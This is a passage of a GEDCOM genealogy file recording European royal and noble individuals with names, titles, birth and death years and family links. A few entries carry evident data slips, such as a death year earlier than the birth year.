 /Coljach/\n1 SEX M\n1 BIRT\n2 DATE        1947\n1 FAMS @F1314@\n0 @I2798@ INDI\n1 NAME Ebba  /Gyllenkrok/\n1 SEX F\n1 BIRT\n2 DATE        1918\n1 FAMS @F1315@\n0 @I2799@ INDI\n1 NAME Ebba  //\n1 SEX F\n1 BIRT\n2 DATE        1945\n1 FAMS @F1316@\n1 FAMC @F1315@\n0 @I2800@ INDI\n1 NAME Pontus  /Reutersward/\n1 SEX M\n1 BIRT\n2 DATE        1943\n1 FAMS @F1316@\n0 @I2801@ INDI\n1 NAME Gustaf  /Reutersward/\n1 SEX M\n1 BIRT\n2 DATE        1971\n1 FAMC @F1316@\n0 @I2802@ INDI\n1 NAME Anna  /Reutersward/\n1 SEX F\n1 BIRT\n2 DATE        1973\n1 FAMC @F1316@\n0 @I2803@ INDI\n1 NAME Gertrude  /Ollen/\n1 SEX F\n1 BIRT\n2 DATE        1916\n1 FAMS @F1317@\n0 @I2804@ INDI\n1 NAME Christina  //\n1 SEX F\n1 BIRT\n2 DATE        1951\n1 FAMS @F1318@\n1 FAMC @F1317@\n0 @I2805@ INDI\n1 NAME Peter  /Langenskiold/\n1 TITL Baron\n1 SEX M\n1 BIRT\n2 DATE        1950\n1 FAMS @F1318@\n0 @I2806@ INDI\n1 NAME Birgitta  //\n1 SEX F\n1 BIRT\n2 DATE        1953\n1 FAMC @F1317@\n0 @I2807@ INDI\n1 NAME Carl  //\n1 SEX M\n1 BIRT\n2 DATE        1955\n1 FAMC @F1317@\n0 @I2808@ INDI\n1 NAME Tore  /Nilert/\n1 SEX M\n1 BIRT\n2 DATE        1915\n1 FAMS @F1319@\n0 @I2809@ INDI\n1 NAME Jan  /Nilert/\n1 SEX M\n1 BIRT\n2 DATE        1950\n1 FAMC @F1319@\n0 @I2810@ INDI\n1 NAME Charlotte  /Nilert/\n1 SEX F\n1 BIRT\n2 DATE        1952\n1 FAMC @F1319@\n0 @I2811@ INDI\n1 NAME Anne Marie /Nilert/\n1 SEX F\n1 BIRT\n2 DATE        1954\n1 FAMC @F1319@\n0 @I2812@ INDI\n1 NAME Gerty  /Borjesson/\n1 SEX F\n1 BIRT\n2 DATE        1910\n1 FAMS @F1320@\n0 @I2813@ INDI\n1 NAME Claes  //\n1 SEX M\n1 BIRT\n2 DATE        1942\n1 FAMS @F1321@\n1 FAMC @F1320@\n0 @I2814@ INDI\n1 NAME Birgitta  /Magnusson/\n1 SEX F\n1 BIRT\n2 DATE        1943\n1 FAMS @F1321@\n0 @I2815@ INDI\n1 NAME Carl Johann //\n1 SEX M\n1 BIRT\n2 DATE        1970\n1 FAMC @F1321@\n0 @I2816@ INDI\n1 NAME Louise  //\n1 SEX F\n1 BIRT\n2 DATE        1973\n1 FAMC @F1321@\n0 @I2817@ INDI\n1 NAME Carl Marten /Fleetwood/\n1 TITL Baron\n1 SEX M\n1 BIRT\n2 DATE        1885\n1 DEAT\n2 DATE        1966\n1 FAMS @F1322@\n0 @I2818@ INDI\n1 NAME Hugo  /Cedergren/\n1 SEX M\n1 BIRT\n2 DATE        1891\n1 DEAT\n2 DATE        1971\n1 FAMS @F1323@\n0 @I2819@ INDI\n1 NAME Estelle  /Manville/\n1 SEX F\n1 BIRT\n2 DATE        1904\n1 FAMS @F1324@\n0 @I2820@ INDI\n1 NAME Gustaf  //\n1 SEX M\n1 BIRT\n2 DATE        1930\n1 DEAT\n2 DATE        1966\n1 FAMC @F1324@\n0 @I2821@ INDI\n1 NAME Folke  //\n1 SEX M\n1 BIRT\n2 DATE        1931\n1 FAMS @F1325@\n1 FAMC @F1324@\n0 @I2822@ INDI\n1 NAME Fredrik Oscar //\n1 SEX M\n1 BIRT\n2 DATE        1934\n1 DEAT\n2 DATE        1934\n1 FAMC @F1324@\n0 @I2823@ INDI\n1 NAME Bertil  //\n1 SEX M\n1 BIRT\n2 DATE        1925\n1 FAMC @F1324@\n0 @I2824@ INDI\n1 NAME Christine  /Glahns/\n1 SEX F\n1 BIRT\n2 DATE        1932\n1 FAMS @F1325@\n0 @I2825@ INDI\n1 NAME Anna  //\n1 SEX F\n1 BIRT\n2 DATE        1956\n1 FAMC @F1325@\n0 @I2826@ INDI\n1 NAME Folke  //\n1 SEX M\n1 BIRT\n2 DATE        1958\n1 FAMC @F1325@\n0 @I2827@ INDI\n1 NAME Maria  //\n1 SEX F\n1 BIRT\n2 DATE        1962\n1 FAMC @F1325@\n0 @I2828@ INDI\n1 NAME Gunnar  //\n1 SEX M\n1 BIRT\n2 DATE        1963\n1 FAMC @F1325@\n0 @I2829@ INDI\n1 NAME Margaretha  //\n1 SEX F\n1 BIRT\n2 DATE        1899\n1 DEAT\n2 DATE        1977\n1 FAMS @F1326@\n1 FAMC @F215@\n0 @I2830@ INDI\n1 NAME Axel of_Denmark //\n1 SEX M\n1 FAMS @F1326@\n0 @I2831@ INDI\n1 NAME Elsa  /von_Rosen/\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE        1904\n1 FAMS @F1327@\n0 @I2832@ INDI\n1 NAME Madeline Bernadotte //\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE        1938\n1 FAMS @F1328@\n1 FAMC @F1327@\n0 @I2833@ INDI\n1 NAME Charles de_Schooten /Ullens/\n1 TITL Count\n1 SEX M\n1 BIRT\n2 DATE        1927\n1 FAMS @F1328@\n0 @I2834@ INDI\n1 NAME Marie Christine /Ullens/\n1 SEX F\n1 BIRT\n2 DATE        1964\n1 FAMC @F1328@\n0 @I2835@ INDI\n1 NAME Jean Charles /Ullens/\n1 SEX M\n1 BIRT\n2 DATE        1965\n1 FAMC @F1328@\n0 @I2836@ INDI\n1 NAME Astrid  /Ullens/\n1 SEX F\n1 BIRT\n2 DATE        1970\n1 FAMC @F1328@\n0 @I2837@ INDI\n1 NAME Sophie  /Ullens/\n1 SEX F\n1 BIRT\n2 DATE        1972\n1 FAMC @F1328@\n0 @I2838@ INDI\n1 NAME Ann  /Larsson/\n1 SEX F\n1 BIRT\n2 DATE        1921\n1 FAMS @F1329@\n0 @I2839@ INDI\n1 NAME Mary  //\n1 SEX F\n1 BIRT\n2 DATE        1882\n1 DEAT\n2 DATE        1962\n1 FAMS @F1276@\n1 FAMC @F1330@\n0 @I2840@ INDI\n1 NAME Roland  /Bonaparte/\n1 TITL Prince\n1 SEX M\n1 FAMS @F1330@\n0 @I2841@ INDI\n1 NAME Irene  /Ovchinnikov/\n1 SEX F\n1 BIRT\n2 DATE        1904\n1 FAMS @F1331@\n0 @I2842@ INDI\n1 NAME Eugenia  /Oldenburg/\n1 SEX F\n1 BIRT\n2 DATE        1910\n1 FAMS @F1332@\n1 FAMS @F1333@\n1 FAMC @F1276@\n0 @I2843@ INDI\n1 NAME Dominic  /Radziwill/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1911\n1 DEAT\n2 DATE        1976\n1 FAMS @F1332@\n0 @I2844@ INDI\n1 NAME Raymond of_Castel //\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1907\n1 FAMS @F1333@\n0 @I2845@ INDI\n1 NAME Anastasia  /Stewart/\n1 SEX F\n1 BIRT\n2 DATE        1883\n1 DEAT\n2 DATE        1923\n1 FAMS @F1334@\n0 @I2846@ INDI\n1 NAME Francis of_Guise //\n1 SEX F\n1 BIRT\n2 DATE        1902\n1 DEAT\n2 DATE        1953\n1 FAMS @F1335@\n0 @I2847@ INDI\n1 NAME Perikles Joannides //\n1 SEX M\n1 BIRT\n2 DATE        1881\n1 DEAT\n2 DATE        1965\n1 FAMS @F1336@\n0 @I2848@ INDI\n1 NAME Michael  /Oldenburg/\n1 SEX M\n1 BIRT\n2 DATE        1939\n1 FAMS @F1337@\n1 FAMC @F1334@\n0 @I2849@ INDI\n1 NAME Marina  /Karella/\n1 SEX F\n1 BIRT\n2 DATE        1940\n1 FAMS @F1337@\n0 @I2850@ INDI\n1 NAME Louise  //\n1 SEX F\n1 BIRT\n2 DATE        1726\n1 DEAT\n2 DATE        1756\n1 FAMS @F1338@\n1 FAMC @F631@\n0 @I2851@ INDI\n1 NAME Ernest Frederick_III of_Saxe-//\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1727\n1 DEAT\n2 DATE        1780\n1 FAMS @F1338@\n0 @I2852@ INDI\n1 NAME Gustaf_III  //\n1 TITL King of Sweden\n1 SEX M\n1 BIRT\n2 DATE        1746\n1 DEAT\n2 DATE        1792\n1 FAMS @F1339@\n0 @I2853@ INDI\n1 NAME William_I of_Hesse-Cassel //\n1 TITL Elector\n1 SEX M\n1 BIRT\n2 DATE        1743\n1 DEAT\n2 DATE        1821\n1 FAMS @F1340@\n0 @I2854@ INDI\n1 NAME Charles  //\n1 SEX M\n1 BIRT\n2 DATE        1680\n1 DEAT\n2 DATE        1729\n1 FAMC @F634@\n0 @I2855@ INDI\n1 NAME William  //\n1 SEX M\n1 BIRT\n2 DATE        1687\n1 DEAT\n2 DATE        1705\n1 FAMC @F634@\n0 @I2856@ INDI\n1 NAME Anne Sophia //\n1 SEX F\n1 BIRT\n2 DATE        1647\n1 DEAT\n2 DATE        1717\n1 FAMC @F637@\n0 @I2857@ INDI\n1 NAME Frederica  //\n1 SEX F\n1 BIRT\n2 DATE        1649\n1 DEAT\n2 DATE        1704\n1 FAMC @F637@\n0 @I2858@ INDI\n1 NAME Ulrica  //\n1 SEX F\n1 BIRT\n2 DATE        1656\n1 DEAT\n2 DATE        1693\n1 FAMS @F1341@\n1 FAMC @F637@\n0 @I2859@ INDI\n1 NAME Charles_XI  //\n1 TITL King of Sweden\n1 SEX M\n1 BIRT\n2 DATE        1655\n1 DEAT\n2 DATE        1697\n1 FAMS @F1341@\n0 @I2860@ INDI\n1 NAME Ulrich  //\n1 SEX M\n1 BIRT\n2 DATE        1578\n1 DEAT\n2 DATE        1624\n1 FAMC @F268@\n0 @I2861@ INDI\n1 NAME Augusta  //\n1 SEX F\n1 BIRT\n2 DATE        1580\n1 DEAT\n2 DATE        1639\n1 FAMC @F268@\n0 @I2862@ INDI\n1 NAME Hedwig  //\n1 SEX F\n1 BIRT\n2 DATE        1581\n1 DEAT\n2 DATE        1641\n1 FAMC @F268@\n0 @I2863@ INDI\n1 NAME Christopher_III  //\n1 TITL King of Denmark\n1 SEX M\n1 BIRT\n2 DATE        1416\n1 DEAT\n2 DATE        1448\n1 FAMS @F1342@\n0 @I2864@ INDI\n1 NAME Christina  //\n1 SEX F\n1 BIRT\n2 DATE        1461\n1 DEAT\n2 DATE        1521\n1 FAMS @F1343@\n0 @I2865@ INDI\n1 NAME Anne  /de_la_Tour/\n1 SEX F\n1 BIRT\n2 DATE        1512\n1 FAMS @F1344@\n0 @I2866@ INDI\n1 NAME Alexander  //\n1 TITL Bishop of Moray\n1 SEX M\n1 BIRT\n2 DATE        1534\n1 FAMC @F553@\n0 @I2867@ INDI\n1 NAME James  //\n1 TITL Duke of Ross\n1 SEX M\n1 BIRT\n2 DATE        1476\n1 DEAT\n2 DATE        1503\n1 FAMC @F460@\n0 @I2868@ INDI\n1 NAME John  //\n1 TITL Earl of Mar\n1 SEX M\n1 BIRT\n2 DATE        1479\n1 DEAT\n2 DATE        1503\n1 FAMC @F460@\n0 @I2869@ INDI\n1 NAME Edward  //\n1 TITL Earl of Carrick\n1 SEX M\n1 DEAT\n2 DATE        1318\n1 FAMC @F740@\n0 @I2870@ INDI\n1 NAME Thomas  //\n1 SEX M\n1 DEAT\n2 DATE        1307\n1 FAMC @F740@\n0 @I2871@ INDI\n1 NAME Alexander  //\n1 SEX M\n1 DEAT\n2 DATE        1307\n1 FAMC @F740@\n0 @I2872@ INDI\n1 NAME Nigel  //\n1 SEX M\n1 DEAT\n2 DATE        1306\n1 FAMC @F740@\n0 @I2873@ INDI\n1 NAME Isabel  //\n1 SEX F\n1 BIRT\n2 DATE        1358\n1 FAMC @F740@\n0 @I2874@ INDI\n1 NAME Mary Christina of_Sicily//\n1 SEX F\n1 BIRT\n2 DATE        1806\n1 DEAT\n2 DATE        1878\n1 FAMS @F454@\n0 @I2875@ INDI\n1 NAME Antonia of_Sicily //\n1 SEX F\n1 BIRT\n2 DATE        1784\n1 DEAT\n2 DATE        1806\n1 FAMS @F1345@\n0 @I2876@ INDI\n1 NAME Isabella of_Portugal //\n1 SEX F\n1 BIRT\n2 DATE        1797\n1 DEAT\n2 DATE        1818\n1 FAMS @F1346@\n0 @I2877@ INDI\n1 NAME Mary Josepha //\n1 SEX F\n1 BIRT\n2 DATE        1803\n1 DEAT\n2 DATE        1829\n1 FAMS @F1347@\n0 @I2878@ INDI\n1 NAME Charles_IV  //\n1 SEX M\n1 BIRT\n2 DATE        1748\n1 DEAT\n2 DATE        1819\n1 FAMS @F1348@\n1 FAMC @F1349@\n0 @I2879@ INDI\n1 NAME Maria Louisa of_Parma//\n1 SEX F\n1 BIRT\n2 DATE        1751\n1 DEAT\n2 DATE        1819\n1 FAMS @F1348@\n0 @I2880@ INDI\n1 NAME Charles_III  //\n1 TITL King of Spain\n1 SEX M\n1 BIRT\n2 DATE        1716\n1 DEAT\n2 DATE        1788\n1 FAMS @F1349@\n1 FAMC @F1142@\n0 @I2881@ INDI\n1 NAME Mary Amalia //\n1 SEX F\n1 BIRT\n2 DATE        1724\n1 DEAT\n2 DATE        1760\n1 FAMS @F1349@\n0 @I2882@ INDI\n1 NAME Mary Anne of_Bavaria//\n1 SEX F\n1 BIRT\n2 DATE        1660\n1 DEAT\n2 DATE        1690\n1 FAMS @F1143@\n0 @I2883@ INDI\n1 NAME Mary Louise //\n1 SEX F\n1 BIRT\n2 DATE        1688\n1 DEAT\n2 DATE        1714\n1 FAMS @F1350@\n0 @I2884@ INDI\n1 NAME Charles  //\n1 TITL Duke of Styria\n1 SEX M\n1 BIRT\n2 DATE        1540\n1 DEAT\n2 DATE        1590\n1 FAMS @F1351@\n0 @I2885@ INDI\n1 NAME Philip_I the_Handsome //\n1 TITL King of Castile\n1 SEX M\n1 BIRT\n2 DATE        1478\n2 PLAC Bruges,Flanders\n1 DEAT\n2 DATE        1506\n1 FAMS @F1352@\n0 @I2886@ INDI\n1 NAME Germaine of_Narbonne //\n1 SEX F\n1 DEAT\n2 DATE        1536\n1 FAMS @F1353@\n0 @I2887@ INDI\n1 NAME Isabella  //\n1 SEX F\n1 BIRT\n2 DATE        1470\n1 DEAT\n2 DATE        1498\n1 FAMS @F1354@\n1 FAMS @F1355@\n1 FAMC @F320@\n0 @I2888@ INDI\n1 NAME Mary  //\n1 SEX F\n1 BIRT\n2 DATE        1482\n1 DEAT\n2 DATE        1517\n1 FAMC @F320@\n0 @I2889@ INDI\n1 NAME John  //\n1 SEX M\n1 BIRT\n2 DATE        1478\n1 DEAT\n2 DATE        1497\n1 FAMS @F1356@\n1 FAMC @F320@\n0 @I2890@ INDI\n1 NAME Alphonso of_Portugal //\n1 SEX M\n1 BIRT\n2 DATE        1475\n1 DEAT\n2 DATE        1491\n1 FAMS @F1354@\n0 @I2891@ INDI\n1 NAME Emanuel  //\n1 TITL King of Portugal\n1 SEX M\n1 BIRT\n2 DATE        1469\n1 DEAT\n2 DATE        1521\n1 FAMS @F1358@\n0 @I2892@ INDI\n1 NAME Margaret  //\n1 SEX F\n1 BIRT\n2 DATE        1480\n1 DEAT\n2 DATE        1530\n1 FAMS @F1356@\n1 FAMS @F1357@\n0 @I2893@ INDI\n1 NAME Philibert_II  //\n1 TITL Duke of Savoy\n1 SEX M\n1 DEAT\n2 DATE        1504\n1 FAMS @F1357@\n0 @I2894@ INDI\n1 NAME Eleanor  //\n1 SEX F\n1 BIRT\n2 DATE        1498\n1 DEAT\n2 DATE        1558\n1 FAMS @F1358@\n1 FAMS @F1359@\n1 FAMC @F1352@\n0 @I2895@ INDI\n1 NAME Henry_XXIV Reuss-Ebersdorf //\n1 TITL Count\n1 SEX M\n1 BIRT\n2 DATE        1724\n1 DEAT\n2 DATE        1779\n1 FAMS @F1228@\n0 @I2896@ INDI\n1 NAME Caroline Erbach-Schonberg //\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE        1727\n1 DEAT\n2 DATE        1795\n1 FAMS @F1228@\n0 @I2897@ INDI\n1 NAME Ernest Frederick of_Saxe-Coburg//\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1724\n1 DEAT\n2 DATE        1800\n1 FAMS @F1360@\n0 @I2898@ INDI\n1 NAME Sophia Antonia of_Brunswick//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1724\n1 DEAT\n2 DATE        1802\n1 FAMS @F1360@\n0 @I2899@ INDI\n1 NAME Michael of_Portugal //\n1 TITL Prince\n1 SEX M\n1 FAMS @F1361@\n0 @I2900@ INDI\n1 NAME Emanuel of_Orleans //\n1 TITL Duke of Vendome\n1 SEX M\n1 BIRT\n2 DATE        1872\n1 DEAT\n2 DATE        1931\n1 FAMS @F1362@\n0 @I2901@ INDI\n1 NAME Louise  //\n1 SEX F\n1 BIRT\n2 DATE        1858\n1 DEAT\n2 DATE        1924\n1 FAMS @F1366@\n1 FAMC @F1154@\n0 @I2902@ INDI\n1 NAME Stephanie  //\n1 SEX F\n1 BIRT\n2 DATE        1864\n1 DEAT\n2 DATE        1945\n1 FAMS @F1364@\n1 FAMS @F1365@\n1 FAMC @F1154@\n0 @I2903@ INDI\n1 NAME Clementine  //\n1 SEX F\n1 BIRT\n2 DATE        1872\n1 DEAT\n2 DATE        1955\n1 FAMS @F1363@\n1 FAMC @F1154@\n0 @I2904@ INDI\n1 NAME Victor  //\n1 TITL Prince Napoleon\n1 SEX M\n1 BIRT\n2 DATE        1862\n1 DEAT\n2 DATE        1926\n1 FAMS @F1363@\n0 @I2905@ INDI\n1 NAME Rudolph of_Austria //\n1 TITL Crown Prince\n1 SEX M\n1 BIRT\n2 DATE        1858\n1 DEAT\n2 DATE        1889\n1 FAMS @F1364@\n0 @I2906@ INDI\n1 NAME Elemer  //\n1 TITL Prince Lonyai\n1 SEX M\n1 BIRT\n2 DATE        1863\n1 DEAT\n2 DATE        1946\n1 FAMS @F1365@\n0 @I2907@ INDI\n1 NAME Philip of_Saxe-Coburg //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1844\n1 DEAT\n2 DATE        1921\n1 FAMS @F1366@\n0 @I2908@ INDI\n1 NAME Sophia  //\n1 SEX F\n1 BIRT\n2 DATE        1760\n1 DEAT\n2 DATE        1776\n1 FAMS @F1367@\n0 @I2909@ INDI\n1 NAME Alexandrine of_Baden //\n1 SEX F\n1 BIRT\n2 DATE        1820\n1 DEAT\n2 DATE        1904\n1 FAMS @F1369@\n0 @I2910@ INDI\n1 NAME Antoinette (Antonia) /Kohary/\n1 SEX F\n1 BIRT\n2 DATE        1797\n1 DEAT\n2 DATE        1862\n1 FAMS @F1370@\n0 @I2911@ INDI\n1 NAME Louis_I of_Hesse-Darmst. //\n1 TITL Landgrave\n1 SEX M\n1 BIRT\n2 DATE        1753\n1 DEAT\n2 DATE        1830\n1 FAMS @F1371@\n0 @I2912@ INDI\n1 NAME Louise of_Hesse-Darmst. //\n1 SEX F\n1 BIRT\n2 DATE        1761\n1 DEAT\n2 DATE        1829\n1 FAMS @F1371@\n0 @I2913@ INDI\n1 NAME Marie Christine //\n1 SEX F\n1 DEAT\n2 DATE        1663\n1 FAMC @F271@\n0 @I2914@ INDI\n1 NAME Marie de_Bourbon //\n1 SEX F\n1 FAMS @F1372@\n0 @I2915@ INDI\n1 NAME Ann Marie Louise//\n1 TITL Duchess\n1 SEX F\n1 BIRT\n2 DATE        1627\n1 DEAT\n2 DATE        1693\n1 FAMC @F1372@\n0 @I2916@ INDI\n1 NAME Elizabeth Charlotte of_Bavaria//\n1 SEX F\n1 BIRT\n2 DATE        1652\n1 DEAT\n2 DATE        1722\n1 FAMS @F1373@\n0 @I2917@ INDI\n1 NAME Elizabeth Charlotte //\n1 SEX F\n1 BIRT\n2 DATE        1676\n1 FAMS @F1374@\n1 FAMC @F1373@\n0 @I2918@ INDI\n1 NAME Leopold Joseph de_Lorraine//\n1 TITL Duke\n1 SEX M\n1 FAMS @F1374@\n0 @I2919@ INDI\n1 NAME Francoise Marie de_Blois//\n1 TITL Mademoiselle\n1 SEX F\n1 BIRT\n2 DATE        1677\n1 DEAT\n2 DATE        1749\n1 FAMS @F1191@\n0 @I2920@ INDI\n1 NAME Marie Adelaide of_Savoy//\n1 SEX F\n1 BIRT\n2 DATE        1685\n1 DEAT\n2 DATE        1712\n1 FAMS @F344@\n0 @I2921@ INDI\n1 NAME Marie Louise of_Orleans//\n1 SEX F\n1 BIRT\n2 DATE        1695\n1 DEAT\n2 DATE        1715\n1 FAMS @F1375@\n1 FAMC @F1191@\n0 @I2922@ INDI\n1 NAME Ivan of_Shestov //\n1 SEX M\n1 FAMS @F1376@\n0 @I2923@ INDI\n1 NAME Ivan  /Rayevski/\n1 SEX M\n1 FAMS @F1377@\n0 @I2924@ INDI\n1 NAME Constantine  /Volkonski/\n1 SEX M\n1 FAMS @F1378@\n0 @I2925@ INDI\n1 NAME Zenaida  /Rashevska/\n1 SEX F\n1 BIRT\n2 DATE        1898\n1 DEAT\n2 DATE        1963\n1 FAMS @F1379@\n0 @I2926@ INDI\n1 NAME Felix Krzesinski //\n1 SEX M\n1 FAMS @F1380@\n0 @I2927@ INDI\n1 NAME Valerian  /Karnovich/\n1 SEX M\n1 FAMS @F1382@\n0 @I2928@ INDI\n1 NAME John  /Emery/\n1 SEX M\n1 FAMS @F1383@\n0 @I2929@ INDI\n1 NAME Susan  /Deptford/\n1 SEX F\n1 FAMS @F1384@\n0 @I2930@ INDI\n1 NAME Andrew  /Ferguson/\n1 SEX M\n1 BIRT\n2 DATE        1978\n1 FAMC @F1384@\n0 @I2931@ INDI\n1 NAME Alice  /Ferguson/\n1 SEX F\n1 BIRT\n2 DATE        1980\n1 FAMC @F1384@\n0 @I2932@ INDI\n1 NAME Elizabeth (Eliza) /Ferguson/\n1 SEX F\n1 BIRT\n2 DATE        1985\n1 FAMC @F1384@\n0 @I2933@ INDI\n1 NAME Mervyn Powerscourt /Wingfield/\n1 TITL Viscount\n1 SEX M\n1 BIRT\n2 DATE        1880\n1 DEAT\n2 DATE        1947\n1 FAMS @F1385@\n1 FAMC @F1386@\n0 @I2934@ INDI\n1 NAME Mervyn  /Wingfield/\n1 SEX M\n1 BIRT\n2 DATE        1836\n1 DEAT\n2 DATE        1904\n1 FAMS @F1386@\n0 @I2935@ INDI\n1 NAME Julia  /Coke/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1844\n1 DEAT\n2 DATE        1931\n1 FAMS @F1386@\n1 FAMC @F1399@\n0 @I2936@ INDI\n1 NAME Henry Fitzherbert /Wright/\n1 SEX M\n1 BIRT\n2 DATE        1870\n1 DEAT\n2 DATE        1947\n1 FAMS @F1387@\n0 @I2937@ INDI\n1 NAME Muriel  /Fletcher/\n1 SEX F\n1 BIRT\n2 DATE        1873\n1 DEAT\n2 DATE        1955\n1 FAMS @F1387@\n1 FAMC @F1388@\n0 @I2938@ INDI\n1 NAME Henry  /Fletcher/\n1 TITL Col.\n1 SEX M\n1 BIRT\n2 DATE        1833\n1 DEAT\n2 DATE        1879\n1 FAMS @F1388@\n0 @I2939@ INDI\n1 NAME Harriet  /Marsham/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1838\n1 DEAT\n2 DATE        1886\n1 FAMS @F1388@\n1 FAMC @F1389@\n0 @I2940@ INDI\n1 NAME Charles  /Marsham/\n1 TITL Earl of Romney\n1 SEX M\n1 BIRT\n2 DATE        1808\n1 DEAT\n2 DATE        1874\n1 FAMS @F1389@\n0 @I2941@ INDI\n1 NAME Margaret -Scott /Montagu-Douglas-/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1811\n1 DEAT\n2 DATE        1836\n1 FAMS @F1389@\n1 FAMC @F1390@\n0 @I2942@ INDI\n1 NAME Charles of_Buccleuch /Montagu-Douglas/\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1772\n1 DEAT\n2 DATE        1819\n1 FAMS @F1390@\n1 FAMC @F1396@\n0 @I2943@ INDI\n1 NAME Walter -Scott of_Buccleuch/Montagu-Douglas-/\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1806\n1 DEAT\n2 DATE        1884\n1 FAMS @F1391@\n1 FAMC @F1390@\n0 @I2944@ INDI\n1 NAME William -Scott of_Buccleuch/Montagu-Douglas-/\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1831\n1 DEAT\n2 DATE        1914\n1 FAMS @F1392@\n1 FAMC @F1391@\n0 @I2945@ INDI\n1 NAME Louisa  /Hamilton/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1836\n1 DEAT\n2 DATE        1912\n1 FAMS @F1392@\n0 @I2946@ INDI\n1 NAME Herbert -Scott /Montagu-Douglas-/\n1 TITL Lord\n1 SEX M\n1 BIRT\n2 DATE        1872\n1 DEAT\n2 DATE        1944\n1 FAMS @F1393@\n1 FAMC @F1392@\n0 @I2947@ INDI\n1 NAME Margaret  /Brand/\n1 TITL Hon.\n1 SEX F\n1 BIRT\n2 DATE        1873\n1 DEAT\n2 DATE        1948\n1 FAMS @F304@\n1 FAMC @F1394@\n0 @I2948@ INDI\n1 NAME Henry  /Brand/\n1 TITL Viscount Hampden\n1 SEX M\n1 BIRT\n2 DATE        1941\n1 DEAT\n2 DATE        1906\n1 FAMS @F1394@\n1 FAMC @F1395@\n0 @I2949@ INDI\n1 NAME Henry  /Brand/\n1 TITL Viscount Hampden\n1 SEX M\n1 BIRT\n2 DATE        1814\n1 DEAT\n2 DATE        1892\n1 FAMS @F1395@\n0 @I2950@ INDI\n1 NAME Henry of_Buccleuch /Scott/\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1772\n1 DEAT\n2 DATE        1819\n1 FAMS @F1396@\n1 FAMC @F1397@\n0 @I2951@ INDI\n1 NAME Francis  /Scott/\n1 TITL Earl of Dalkeith\n1 SEX M\n1 BIRT\n2 DATE        1721\n1 DEAT\n2 DATE        1750\n1 FAMS @F1397@\n1 FAMC @F1398@\n0 @I2952@ INDI\n1 NAME Francis of_Buccleuch /Scott/\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1695\n1 DEAT\n2 DATE        1751\n1 FAMS @F1398@\n0 @I2953@ INDI\n1 NAME Thomas of_Leicester /Coke/\n1 TITL Earl\n1 SEX M\n1 BIRT\n2 DATE        1822\n1 DEAT\n2 DATE        1902\n1 FAMS @F1399@\n1 FAMC @F1400@\n0 @I2954@ INDI\n1 NAME Thomas of_Leicester /Coke/\n1 TITL Earl\n1 SEX M\n1 BIRT\n2 DATE        1754\n1 DEAT\n2 DATE        1842\n1 FAMS @F1400@\n0 @I2955@ INDI\n1 NAME Anne  /Keppel/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE        1803\n1 DEAT\n2 DATE        1844\n1 FAMS @F1400@\n1 FAMC @F1401@\n0 @I2956@ INDI\n1 NAME William of_Albemarle /Keppel/\n1 TITL Earl\n1 SEX M\n1 BIRT\n2 DATE        1724\n1 DEAT\n2 DATE        1772\n1 FAMS @F1401@\n0 @I2957@ INDI\n1 NAME Richard  //\n1 SEX M\n1 DEAT\n2 DATE        1120\n1 FAMC @F506@\n0 @I2958@ INDI\n1 NAME Eugenie Victoria Helena/Windsor/\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 23 MAR 1990\n2 PLAC London,England\n1 CHR\n2 DATE 23 DEC 1990\n2 PLAC Sandringham,England\n1 FAMC @F53@\n0 @I2959@ INDI\n1 NAME Ayesha  /Makim/\n1 SEX F\n1 BIRT\n2 DATE ABT    1986\n1 FAMC @F312@\n0 @I2960@ INDI\n1 NAME Paul  /Mowatt/\n1 SEX M\n1 BIRT\n2 DATE ABT    1962\n1 FAMS @F1402@\n0 @I2961@ INDI\n1 NAME   /Mowatt/\n1 SEX F\n1 BIRT\n2 DATE 26 MAY 1990\n1 FAMC @F1402@\n0 @I2962@ INDI\n1 NAME Victoria  /Lockwood/\n1 SEX F\n1 BIRT\n2 DATE        1964\n1 FAMS @F1403@\n0 @I2963@ INDI\n1 NAME Kitty  //\n1 SEX F\n1 BIRT\n2 DATE ABT    1991\n1 FAMC @F1403@\n0 @I2964@ INDI\n1 NAME Olga  //\n1 TITL Princess\n1 SEX F\n1 FAMS @F1404@\n1 FAMC @F76@\n0 @I2965@ INDI\n1 NAME Paul of_Yugoslavia //\n1 TITL Prince\n1 SEX M\n1 FAMS @F1404@\n0 @I2966@ INDI\n1 NAME Son  //\n1 SEX M\n1 FAMC @F1404@\n0 @I2967@ INDI\n1 NAME Elizabeth  //\n1 SEX F\n1 FAMC @F76@\n0 @I2968@ INDI\n1 NAME Peter  /Phillips/\n1 TITL Major\n1 SEX M\n1 FAMS @F1405@\n0 @I2969@ INDI\n1 NAME Sylvana  /Tomaselli/\n1 SEX F\n1 BIRT\n2 DATE ABT    1957\n2 PLAC Canada\n1 FAMS @F1407@\n1 FAMS @F1406@\n1 FAMC @F1408@\n0 @I2970@ INDI\n1 NAME John Paul /Jones/\n1 SEX M\n1 FAMS @F1407@\n0 @I2971@ INDI\n1 NAME Max  /Tomaselli/\n1 SEX M\n1 BIRT\n2 PLAC Austria\n1 FAMS @F1408@\n0 @I2972@ INDI\n1 NAME Josiane  /Derners/\n1 TITL Madame\n1 SEX F\n1 BIRT\n2 PLAC France\n1 FAMS @F1408@\n0 @I2973@ INDI\n1 NAME Antoinette  //\n1 SEX F\n1 FAMC @F1147@\n0 @I2974@ INDI\n1 NAME Sophie  //\n1 SEX F\n1 FAMC 